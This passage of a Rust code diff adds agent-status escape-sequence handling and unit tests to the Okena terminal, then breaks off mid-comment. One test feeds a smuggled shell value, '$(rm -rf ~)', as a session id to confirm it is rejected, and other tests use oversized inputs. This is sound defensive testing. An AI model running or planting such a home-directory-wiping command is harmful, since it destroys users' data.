+        // Captured for *any* well-formed sequence carrying it, before the `st`
+        // is interpreted: identity is orthogonal to lifecycle, and the two hook
+        // events that carry it (session start/end) are exactly the ones a
+        // harness maps to `clear`.
+        if let Some(session) = AgentSession::from_labels(&labels) {
+            self.record_agent_session(session);
+        }
+        // The reserved keys are session identity, not display labels. Drop them
+        // so `session_id` and the absolute local `transcript_path` don't ride
+        // `AgentStatus.labels` out to every paired remote / mobile client.
+        for key in RESERVED_LABEL_KEYS {
+            labels.remove(key);
+        }
+
+        if st == "clear" {
+            let mut slot = self.agent_status.lock();
+            let changed = slot.is_some();
+            *slot = None;
+            drop(slot);
+            if changed {
+                self.remote_dirty.store(true, Ordering::Relaxed);
+            }
+            log::debug!(
+                "agent-status[{}]: clear (changed={changed})",
+                self.terminal_id
+            );
+            return;
+        }
+        let Some(lifecycle) = AgentLifecycle::from_token(st) else {
+            log::debug!(
+                "agent-status[{}]: unknown st={st:?} — ignored, status left as-is",
+                self.terminal_id
+            );
+            return; // unknown state — ignore, leave current status as-is
+        };
+
+        // `new_clamped` bounds the decoded sizes (a pane could otherwise pin
+        // unbounded memory we then re-serialize to every remote client) and
+        // maps an empty `msg=` to `None` so a notifying state keeps its default
+        // body instead of an empty string.
+        let custom = msg_b64.and_then(decode_osc_base64);
+        let new_status = AgentStatus::new_clamped(lifecycle, custom, labels);
+
+        // Notify only on a *transition* into a notifying state, so repeated
+        // identical reports don't ping. Decide while holding the slot (we need
+        // the previous value), then release it before touching the notification
+        // queue to keep lock scopes from overlapping.
+        let mut slot = self.agent_status.lock();
+        let previous_lifecycle = slot.as_ref().map(|s| s.lifecycle);
+        let notify_body =
+            (previous_lifecycle != Some(lifecycle) && lifecycle.notifies()).then(|| {
+                new_status
+                    .custom
+                    .clone()
+                    .unwrap_or_else(|| agent_default_body(lifecycle))
+            });
+        // Any change to the stored status (lifecycle, custom text, or labels)
+        // is worth pushing to remote clients.
+        let changed = slot.as_ref() != Some(&new_status);
+        *slot = Some(new_status);
+        drop(slot);
+
+        log::debug!(
+            "agent-status[{}]: {:?} -> {:?} (changed={changed}, notify={})",
+            self.terminal_id,
+            previous_lifecycle,
+            lifecycle,
+            notify_body.is_some()
+        );
+
+        if changed {
+            self.remote_dirty.store(true, Ordering::Relaxed);
+        }
+        if let Some(body) = notify_body {
+            self.queue_notification(TerminalNotification { title: None, body });
+        }
+    }
+
+    /// Whether an OSC `tid=` addresses *this* pane.
+    ///
+    /// The sender echoes `$OKENA_TERMINAL_ID`, which the daemon exports as the
+    /// **raw** terminal id. A client-side `Terminal` — including the desktop
+    /// app's own panes, which it consumes through the local daemon — is keyed
+    /// `remote:{connection}:{raw}` (`okena_transport::client::id::make_prefixed_id`),
+    /// so a literal comparison rejects every correctly-stamped status. Accept
+    /// the unprefixed suffix too; ids are UUIDs, so this cannot realistically
+    /// collide across connections.
+    fn addresses_this_pane(&self, tid: &str) -> bool {
+        if self.terminal_id == tid {
+            return true;
+        }
+        !tid.is_empty()
+            && self
+                .terminal_id
+                .strip_suffix(tid)
+                .is_some_and(|prefix| prefix.ends_with(':'))
+    }
+
+    /// Store the session identity a pane just reported, marking the persist
+    /// edge when it actually changed.
+    ///
+    /// A report for the session already on record is treated as a **partial
+    /// update**: agents send `agent` + `session_id` on every status, but only
+    /// some events carry `transcript_path`, so a plain replace would keep
+    /// flipping a known path back to `None`. A different session replaces the
+    /// record wholesale.
+    fn record_agent_session(&self, session: AgentSession) {
+        let mut slot = self.agent_session.lock();
+        let changed = match slot.as_mut() {
+            Some(existing) if existing.is_same_session(&session) => {
+                match session.transcript_path {
+                    Some(path) if existing.transcript_path.as_deref() != Some(path.as_str()) => {
+                        existing.transcript_path = Some(path);
+                        true
+                    }
+                    // No path reported, or the same one — nothing to record.
+                    _ => false,
+                }
+            }
+            _ => {
+                *slot = Some(session);
+                true
+            }
+        };
+        drop(slot);
+        if changed {
+            self.agent_session_dirty.store(true, Ordering::Relaxed);
+        }
+    }
+}
+
+/// Decode a base64(UTF-8) OSC field, tolerating a missing-pad variant (same
+/// leniency as the `OSC 99` payload decoder). Returns `None` on undecodable or
+/// non-UTF-8 input so a malformed field is simply dropped.
+fn decode_osc_base64(s: &str) -> Option<String> {
+    let decoded = base64::engine::general_purpose::STANDARD
+        .decode(s.as_bytes())
+        .or_else(|_| base64::engine::general_purpose::STANDARD_NO_PAD.decode(s.as_bytes()))
+        .ok()?;
+    String::from_utf8(decoded).ok()
+}
+
+/// Default notification body when an agent reports a notifying state without
+/// its own `msg=` text.
+fn agent_default_body(lifecycle: AgentLifecycle) -> String {
+    match lifecycle {
+        AgentLifecycle::Blocked => "Agent needs your input".to_string(),
+        AgentLifecycle::Done => "Agent finished".to_string(),
+        // Non-notifying states never reach here (guarded by `notifies()`).
+        AgentLifecycle::Working | AgentLifecycle::Idle => String::new(),
+    }
 }
 
 impl Perform for SidecarPerform {
@@ -325,12 +612,10 @@ impl Perform for SidecarPerform {
                     .join(";");
                 let message = message.trim();
                 if !message.is_empty() {
-                    self.pending_notifications
-                        .lock()
-                        .push(TerminalNotification {
-                            title: None,
-                            body: message.to_string(),
-                        });
+                    self.queue_notification(TerminalNotification {
+                        title: None,
+                        body: message.to_string(),
+                    });
                 }
             }
             b"777" => {
@@ -356,15 +641,15 @@ impl Perform for SidecarPerform {
                     .join(";");
                 let body = body.trim();
                 if !body.is_empty() {
-                    self.pending_notifications
-                        .lock()
-                        .push(TerminalNotification {
-                            title: (!title.is_empty()).then(|| title.to_string()),
-                            body: body.to_string(),
-                        });
+                    self.queue_notification(TerminalNotification {
+                        title: (!title.is_empty()).then(|| title.to_string()),
+                        body: body.to_string(),
+                    });
                 }
             }
             b"99" => self.handle_osc99(params),
+            // Okena's private agent-status protocol; see `handle_agent_status`.
+            b"9001" => self.handle_agent_status(params),
             _ => {}
         }
     }
diff --git a/crates/okena-terminal/src/terminal/tests/osc.rs b/crates/okena-terminal/src/terminal/tests/osc.rs
index e8bd5db59..8768862c8 100644
--- a/crates/okena-terminal/src/terminal/tests/osc.rs
+++ b/crates/okena-terminal/src/terminal/tests/osc.rs
@@ -1250,3 +1250,675 @@ fn test_process_palette_answers_color_query_without_per_terminal_palette() {
         "unexpected reply: {reply:?}"
     );
 }
+
+// ── Agent status (OSC 9001) ──────────────────────────────────────────────
+
+fn b64(s: &str) -> String {
+    use base64::Engine as _;
+    base64::engine::general_purpose::STANDARD.encode(s)
+}
+
+#[test]
+fn test_agent_status_sets_lifecycle_without_notification() {
+    use okena_core::agent_status::{AgentLifecycle, AgentStatus};
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    assert_eq!(terminal.agent_status(), None);
+    terminal.process_output(b"\x1b]9001;st=working\x07");
+
+    assert_eq!(
+        terminal.agent_status(),
+        Some(AgentStatus::new(AgentLifecycle::Working)),
+    );
+    assert!(terminal.take_pending_notifications().is_empty());
+}
+
+#[test]
+fn test_agent_status_done_with_custom_message_notifies() {
+    use okena_core::agent_status::AgentLifecycle;
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    let msg = "running tests 3/5";
+    terminal.process_output(format!("\x1b]9001;st=done;msg={}\x07", b64(msg)).as_bytes());
+
+    let status = terminal.agent_status().expect("status set");
+    assert_eq!(status.lifecycle, AgentLifecycle::Done);
+    assert_eq!(status.custom.as_deref(), Some(msg));
+    assert_eq!(terminal.take_pending_notifications(), vec![body(msg)]);
+}
+
+#[test]
+fn test_agent_status_blocked_without_message_uses_default_body() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=blocked\x07");
+
+    assert_eq!(
+        terminal.take_pending_notifications(),
+        vec![body("Agent needs your input")],
+    );
+}
+
+#[test]
+fn test_agent_status_notifies_only_on_transition() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=working\x07");
+    assert!(terminal.take_pending_notifications().is_empty());
+    terminal.process_output(b"\x1b]9001;st=done\x07");
+    assert_eq!(
+        terminal.take_pending_notifications(),
+        vec![body("Agent finished")]
+    );
+    terminal.process_output(b"\x1b]9001;st=done\x07");
+    assert!(terminal.take_pending_notifications().is_empty());
+}
+
+#[test]
+fn test_agent_status_clear_removes_status() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=working\x07");
+    assert!(terminal.agent_status().is_some());
+    terminal.process_output(b"\x1b]9001;st=clear\x07");
+    assert_eq!(terminal.agent_status(), None);
+}
+
+#[test]
+fn test_agent_status_unknown_state_left_untouched() {
+    use okena_core::agent_status::{AgentLifecycle, AgentStatus};
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=working\x07");
+    terminal.process_output(b"\x1b]9001;st=bogus\x07");
+    terminal.process_output(b"\x1b]9001;msg=abc\x07");
+
+    assert_eq!(
+        terminal.agent_status(),
+        Some(AgentStatus::new(AgentLifecycle::Working)),
+    );
+    assert!(terminal.take_pending_notifications().is_empty());
+}
+
+#[test]
+fn test_agent_status_parses_labels_json() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    let lbl = b64(r#"{"stage":"verify","eta":"5m"}"#);
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+
+    let status = terminal.agent_status().expect("status set");
+    assert_eq!(
+        status.labels.get("stage").map(String::as_str),
+        Some("verify")
+    );
+    assert_eq!(status.labels.get("eta").map(String::as_str), Some("5m"));
+}
+
+#[test]
+fn test_agent_status_malformed_base64_drops_field_but_keeps_lifecycle() {
+    use okena_core::agent_status::AgentLifecycle;
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=working;msg=***\x07");
+
+    let status = terminal.agent_status().expect("status set");
+    assert_eq!(status.lifecycle, AgentLifecycle::Working);
+    assert_eq!(status.custom, None);
+}
+
+#[test]
+fn test_agent_status_st_terminator() {
+    use okena_core::agent_status::{AgentLifecycle, AgentStatus};
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=idle\x1b\\");
+
+    assert_eq!(
+        terminal.agent_status(),
+        Some(AgentStatus::new(AgentLifecycle::Idle)),
+    );
+}
+
+#[test]
+fn test_agent_status_empty_message_uses_default_body() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=blocked;msg=\x07");
+
+    let status = terminal.agent_status().expect("status set");
+    assert_eq!(status.custom, None);
+    assert_eq!(
+        terminal.take_pending_notifications(),
+        vec![body("Agent needs your input")],
+    );
+}
+
+#[test]
+fn test_agent_status_oversized_fields_are_bounded() {
+    use okena_core::agent_status::{MAX_CUSTOM_LEN, MAX_LABELS};
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    let huge = "A".repeat(2_000_000);
+    let mut json = String::from("{");
+    for i in 0..200 {
+        if i > 0 {
+            json.push(',');
+        }
+        json.push_str(&format!("\"k{i}\":\"v\""));
+    }
+    json.push('}');
+    terminal.process_output(
+        format!(
+            "\x1b]9001;st=working;msg={};lbl={}\x07",
+            b64(&huge),
+            b64(&json)
+        )
+        .as_bytes(),
+    );
+
+    let status = terminal.agent_status().expect("status set");
+    assert!(status.custom.as_ref().expect("custom set").len() <= MAX_CUSTOM_LEN);
+    assert!(status.labels.len() <= MAX_LABELS);
+}
+
+#[test]
+fn test_agent_status_marks_remote_dirty_on_change_only() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=working\x07");
+    assert!(terminal.take_remote_dirty());
+    assert!(!terminal.take_remote_dirty());
+
+    terminal.process_output(format!("\x1b]9001;st=working;msg={}\x07", b64("step 1")).as_bytes());
+    assert!(terminal.take_remote_dirty());
+    terminal.process_output(format!("\x1b]9001;st=working;msg={}\x07", b64("step 2")).as_bytes());
+    assert!(terminal.take_remote_dirty());
+
+    terminal.process_output(format!("\x1b]9001;st=working;msg={}\x07", b64("step 2")).as_bytes());
+    assert!(!terminal.take_remote_dirty());
+
+    terminal.process_output(b"\x1b]9001;st=clear\x07");
+    assert!(terminal.take_remote_dirty());
+    terminal.process_output(b"\x1b]9001;st=clear\x07");
+    assert!(!terminal.take_remote_dirty());
+}
+
+#[test]
+fn test_agent_session_captured_from_label_and_survives_clear() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    assert_eq!(terminal.agent_session(), None);
+
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let lbl = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}","transcript_path":"/tmp/t.jsonl"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+
+    let session = terminal.agent_session().expect("session captured");
+    assert_eq!(session.agent, "claude-code");
+    assert_eq!(session.session_id, uuid);
+    assert_eq!(session.transcript_path.as_deref(), Some("/tmp/t.jsonl"));
+    assert!(terminal.take_agent_session_dirty());
+    assert!(!terminal.take_agent_session_dirty());
+
+    terminal.process_output(b"\x1b]9001;st=clear\x07");
+    assert_eq!(terminal.agent_status(), None);
+    assert_eq!(
+        terminal.agent_session().map(|s| s.session_id),
+        Some(uuid.to_string()),
+    );
+}
+
+#[test]
+fn test_agent_session_rejects_non_uuid_session_id() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    let lbl = b64(r#"{"agent":"claude-code","session_id":"$(rm -rf ~)"}"#);
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+
+    assert!(terminal.agent_status().is_some());
+    assert_eq!(terminal.agent_session(), None);
+    assert!(!terminal.take_agent_session_dirty());
+}
+
+#[test]
+fn test_agent_session_survives_label_flood() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // 64 labels sorting before "agent" used to evict the reserved keys, because
+    // the session was read from the display-clamped (MAX_LABELS) map.
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let mut fields = vec![format!(r#""agent":"claude-code","session_id":"{uuid}""#)];
+    for i in 0..64 {
+        fields.push(format!(r#""aaa{i:04}":"filler""#));
+    }
+    let lbl = b64(&format!("{{{}}}", fields.join(",")));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+
+    let session = terminal
+        .agent_session()
+        .expect("session survives the flood");
+    assert_eq!(session.session_id, uuid);
+    // The displayed labels stay bounded regardless.
+    let status = terminal.agent_status().expect("status");
+    assert!(status.labels.len() <= okena_core::agent_status::MAX_LABELS);
+}
+
+#[test]
+fn test_agent_session_keeps_transcript_path_across_partial_updates() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let with_path = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}","transcript_path":"/tmp/t.jsonl"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={with_path}\x07").as_bytes());
+    assert!(terminal.take_agent_session_dirty());
+
+    // Most status events omit `transcript_path`; that is a partial update of the
+    // same session, not a retraction of the path we already know.
+    let without_path = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=blocked;lbl={without_path}\x07").as_bytes());
+    assert_eq!(
+        terminal
+            .agent_session()
+            .and_then(|s| s.transcript_path)
+            .as_deref(),
+        Some("/tmp/t.jsonl"),
+    );
+    // Unchanged session — nothing to re-persist.
+    assert!(!terminal.take_agent_session_dirty());
+
+    // A different session replaces the record wholesale.
+    let other = "11111111-2222-3333-4444-555555555555";
+    let lbl = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{other}"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+    let session = terminal.agent_session().expect("session");
+    assert_eq!(session.session_id, other);
+    assert_eq!(session.transcript_path, None);
+    assert!(terminal.take_agent_session_dirty());
+}
+
+#[test]
+fn test_agent_status_rejects_a_status_addressed_to_another_pane() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // A process holding a recorded pty path across a reattach can write into
+    // whichever pane now owns that path. Driving another agent's indicator is
+    // worse than showing nothing, so a mismatched `tid` is dropped whole.
+    terminal.process_output(b"\x1b]9001;st=working;tid=someone-else\x07");
+    assert_eq!(terminal.agent_status(), None);
+    assert!(!terminal.take_remote_dirty());
+
+    // Our own id is accepted...
+    terminal.process_output(b"\x1b]9001;st=working;tid=t\x07");
+    assert!(terminal.agent_status().is_some());
+
+    // ...and so is an omitted one (senders predating the param, or outside Okena).
+    terminal.process_output(b"\x1b]9001;st=blocked\x07");
+    assert_eq!(
+        terminal.agent_status().map(|s| s.lifecycle),
+        Some(okena_core::agent_status::AgentLifecycle::Blocked)
+    );
+}
+
+#[test]
+fn test_agent_session_not_captured_from_a_foreign_pane() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let lbl = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;tid=elsewhere;lbl={lbl}\x07").as_bytes());
+
+    // The guard runs before capture, so a stray pane cannot plant a session
+    // that would later be persisted and resumed here.
+    assert_eq!(terminal.agent_session(), None);
+    assert!(!terminal.take_agent_session_dirty());
+}
+
+#[test]
+fn test_agent_status_accepts_a_tid_matching_the_unprefixed_pane_id() {
+    let transport = Arc::new(NullTransport);
+    // Client-side terminals — including the desktop app's own panes, served by
+    // the local daemon — are keyed `remote:{connection}:{raw}`, while the pane's
+    // `$OKENA_TERMINAL_ID` is the daemon's raw id. A literal comparison rejected
+    // every correctly-stamped status, so nothing the bundled plugin emits landed.
+    let terminal = Terminal::new(
+        "remote:conn-1:3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=working;tid=3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b\x07");
+    assert_eq!(
+        terminal.agent_status().map(|s| s.lifecycle),
+        Some(okena_core::agent_status::AgentLifecycle::Working),
+    );
+
+    // A different raw id is still rejected — the suffix must be whole and
+    // sit on a `:` boundary.
+    terminal.process_output(b"\x1b]9001;st=clear\x07");
+    terminal.process_output(b"\x1b]9001;st=blocked;tid=0c1d2e3f4a5b\x07");
+    assert_eq!(terminal.agent_status(), None);
+}
+
+#[test]
+fn test_agent_session_captured_on_clear() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // A harness maps session start/end onto `clear` — exactly the two events
+    // that carry the identity. Capture must not sit behind the lifecycle check.
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let lbl = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=clear;lbl={lbl}\x07").as_bytes());
+
+    assert_eq!(terminal.agent_status(), None, "clear still clears");
+    let session = terminal.agent_session().expect("session captured on clear");
+    assert_eq!(session.session_id, uuid);
+    assert!(terminal.take_agent_session_dirty());
+}
+
+#[test]
+fn test_agent_status_strips_reserved_session_keys_from_labels() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // `labels` is serialized to every paired remote / mobile client. The
+    // reserved keys are session identity — the local transcript path and the
+    // session id must not ride out with the display labels.
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let path = if cfg!(windows) {
+        "C:\\Users\\u\\.claude\\projects\\p\\s.jsonl"
+    } else {
+        "/home/u/.claude/projects/p/s.jsonl"
+    };
+    let lbl = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}","transcript_path":"{}","branch":"main"}}"#,
+        path.replace('\\', "\\\\")
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+
+    let status = terminal.agent_status().expect("status");
+    for key in okena_core::agent_session::RESERVED_LABEL_KEYS {
+        assert!(
+            !status.labels.contains_key(key),
+            "reserved key {key:?} leaked into the wire labels: {:?}",
+            status.labels
+        );
+    }
+    assert_eq!(
+        status.labels.get("branch").map(String::as_str),
+        Some("main")
+    );
+
+    // ...but the session itself still captured them.
+    let session = terminal.agent_session().expect("session");
+    assert_eq!(session.session_id, uuid);
+    assert_eq!(session.transcript_path.as_deref(), Some(path));
+}
+
+#[test]
+fn test_agent_session_rejects_unbounded_agent_and_transcript_path() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // These two fields are the part of an agent status that reaches disk, so
+    // an unbounded value would be rewritten into workspace.json on every save.
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let huge = "a".repeat(okena_core::agent_session::MAX_AGENT_ID_LEN + 1);
+    let lbl = b64(&format!(r#"{{"agent":"{huge}","session_id":"{uuid}"}}"#));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+    assert_eq!(terminal.agent_session(), None);
+
+    let long_path = format!(
+        "{}{}",
+        if cfg!(windows) { "C:\\" } else { "/" },
+        "p".repeat(okena_core::agent_session::MAX_TRANSCRIPT_PATH_LEN)
+    );
+    let lbl = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}","transcript_path":"{long_path}"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+    let session = terminal
+        .agent_session()
+        .expect("session survives a bad path");
+    assert_eq!(session.transcript_path, None);
+}
+
+#[test]
+fn test_agent_status_split_across_reads() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // A PTY read can land anywhere in the sequence; the sidecar parser is
+    // stateful across calls, like the OSC 0 / OSC 7 chunked cases.
+    terminal.process_output(b"\x1b]9001;st=blo");
+    assert_eq!(terminal.agent_status(), None, "incomplete — nothing yet");
+    terminal.process_output(b"cked\x07");
+    assert_eq!(
+        terminal.agent_status().map(|s| s.lifecycle),
+        Some(okena_core::agent_status::AgentLifecycle::Blocked),
+    );
+}
+
+#[test]
+fn test_agent_status_duplicate_keys_take_the_last() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // Last-wins is load-bearing for the `tid` guard: a hostile prefix must not
+    // be able to shadow a later, correct value (or vice versa).
+    terminal.process_output(b"\x1b]9001;st=working;st=done\x07");
+    assert_eq!(
+        terminal.agent_status().map(|s| s.lifecycle),
+        Some(okena_core::agent_status::AgentLifecycle::Done),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=clear\x07");
+    terminal.process_output(b"\x1b]9001;st=working;tid=t;tid=elsewhere\x07");
+    assert_eq!(terminal.agent_status(), None, "the last tid decides");
+}
+
+#[test]
+fn test_agent_status_valid_base64_of_invalid_utf8_drops_the_field() {
+    use base64::Engine as _;
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // Decodable base64 whose bytes are not UTF-8 — distinct from the
+    // undecodable-base64 case, and it must not panic or poison the status.
+    let bad = base64::engine::general_purpose::STANDARD.encode([0xff, 0xfe, 0xfd]);
+    terminal.process_output(format!("\x1b]9001;st=done;msg={bad}\x07").as_bytes());
+
+    let status = terminal.agent_status().expect("lifecycle still applied");
+    assert_eq!(
+        status.lifecycle,
+        okena_core::agent_status::AgentLifecycle::Done
+    );
+    assert_eq!(status.custom, None);
+    assert_eq!(
+        terminal.take_pending_notifications(),
+        vec![body("Agent finished")],
+        "an undecodable msg falls back to the default body",
+    );
+}
+
+#[test]
+fn test_pending_notifications_are_bounded() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // The consumer spawns a thread per bubble and blocks it until dismissed, so
+    // an unbounded queue turns ~22 bytes of pane output into a thread per
+    // notification. Keep the newest and drop the rest.
+    for i in 0..500 {
+        terminal.process_output(format!("\x1b]9;msg {i}\x07").as_bytes());
+    }
+
+    let pending = terminal.take_pending_notifications();
+    assert!(
+        pending.len() <= 32,
+        "queue grew unbounded: {} entries",
+        pending.len()
+    );
+    assert_eq!(
+        pending.last().map(|n| n.body.as_str()),
+        Some("msg 499"),
+        "the most recent notification must survive the flood"
+    );
+}
diff --git a/crates/okena-terminal/src/tty_pointer.rs b/crates/okena-terminal/src/tty_pointer.rs
new file mode 100644
index 000000000..6e9d19880
--- /dev/null
+++ b/crates/okena-terminal/src/tty_pointer.rs
@@ -0,0 +1,225 @@
+//! Per-pane pointer to the pane's *current* slave pty.
+//!
+//! `$OKENA_TTY` is captured into a pane's environment when the pane is first
+//! launched and can never be refreshed: under a session backend the shell — and
+//! the agent running under it — outlives Okena, so after a restart the variable
+//! names a pty that is gone or, worse, now belongs to a *different* pane. An
+//! agent hook then writes its status into someone else's pane, where the `tid=`
+//! guard correctly drops it: silent loss on both ends.
+//!
+//! What does survive a restart is the pane's **terminal id**. So key a small
+//! file by that id and rewrite its contents on every spawn: the *path* is stable
+//! enough to hand to the pane's environment once (`$OKENA_TTY_FILE`), while the
+//! device it names is always the pane's current one. See `docs/agent-status.md`.
+//!
+//! Unix only — `$OKENA_TTY` itself is Unix-only.
+
+use std::path::{Path, PathBuf};
+
+/// Subdirectory of Okena's profile-scoped runtime directory holding the
+/// pointers. Its own directory so the dtach socket GC and this one never see
+/// each other's files.
+const POINTER_DIR: &str = "ttys";
+
+/// Bound on a terminal id we will build a path from. Ids are UUIDs; anything
+/// longer is not one.
+const MAX_ID_LEN: usize = 128;
+
+/// Directory the pointers live in.
+pub fn dir() -> PathBuf {
+    crate::session_backend::okena_runtime_dir().join(POINTER_DIR)
+}
+
+/// Path of the pointer for `terminal_id`, or `None` when the id cannot safely
+/// be used as a file name.
+///
+/// Terminal ids reach us from persisted workspace data and from remote clients,
+/// so treat them as untrusted path components rather than trusting the UUID
+/// convention.
+pub fn path_for(terminal_id: &str) -> Option<PathBuf> {
+    path_in(&dir(), terminal_id)
+}
+
+fn path_in(dir: &Path, terminal_id: &str) -> Option<PathBuf> {
+    // No `.`: it keeps a pointer name from ever colliding with the `<id>.tmp`
+    // a concurrent publish writes, and rules out `.`/`..` for free. Ids are
+    // UUIDs, so nothing legitimate is excluded.
+    let safe = !terminal_id.is_empty()
+        && terminal_id.len() <= MAX_ID_LEN
+        && terminal_id
+            .bytes()
+            .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'-' | b'_'));
+    safe.then(|| dir.join(terminal_id))
+}
+
+/// Record `tty_path` as the pane's current device and return the pointer path
+/// to export as `$OKENA_TTY_FILE`, or `None` if it could not be written.
+pub fn publish(terminal_id: &str, tty_path: &str) -> Option<PathBuf> {
+    publish_in(&dir(), terminal_id, tty_path)
+}
+
+fn publish_in(dir: &Path, terminal_id: &str, tty_path: &str) -> Option<PathBuf> {
+    let path = path_in(dir, terminal_id)?;
+    if let Err(error) = create_dir_private(dir) {
+        log::warn!("failed to create tty pointer dir {dir:?}: {error}");
+        return None;
+    }
+    // Write-then-rename: a hook reading concurrently either sees the previous
